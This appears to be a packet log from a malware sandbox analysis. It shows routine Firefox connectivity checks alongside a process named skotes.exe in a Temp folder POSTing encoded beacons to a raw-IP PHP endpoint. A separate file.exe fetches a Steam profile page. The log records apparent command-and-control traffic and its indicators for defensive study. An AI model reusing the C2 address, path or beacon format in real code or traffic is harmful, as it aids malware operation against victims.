Oct 24, 2024 11:04:12.120567083 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:12.255143881 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60713 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:12.515899897 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:12.642179966 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60713 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:12.779956102 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:12.904908895 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60713 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:13.210593939 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:13.335836887 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60714 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:17.697895050 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:17.823227882 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60718 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:27.829396963 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 11:04:28.336097956 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:28.465241909 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60729 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:38.467950106 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 11:04:40.087786913 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:40.215020895 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60741 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:40.712493896 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 11:04:40.837590933 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 60741 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 11:04:50.847428083 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	50093	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:11.277133942 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	50098	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:11.487782955 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	50099	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:11.775268078 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	50102	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:12.002054930 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	50105	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:12.269201994 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50106	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:12.390512943 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:04:13.314352036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:04:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	50108	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:12.652592897 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	50109	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:12.926995993 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	50110	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:13.371512890 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 11:04:13.981283903 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 72628 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 11:04:17.829505920 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 11:04:17.956806898 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 72632 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 11:04:27.960926056 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 11:04:28.468589067 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 11:04:28.599834919 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 72643 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 11:04:38.613208055 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 11:04:40.218106985 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 11:04:40.347424984 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 72655 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 11:04:40.841999054 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 11:04:40.972659111 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 72655 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 11:04:50.985445023 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50111	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:15.004456997 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 11:04:15.940953970 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:04:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50113	185.215.113.43	80	1056	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:04:17.459311008 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 11:04:18.380975008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:04:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	104.102.49.254	443	1832	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:02:15 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 09:02:15 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 09:02:15 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=d3a440cbd1c048b8f45ee09b; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 09:02:15 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 09:02:15 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 09:02:15 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 09:02:15 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	104.21.53.8	443	1832	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
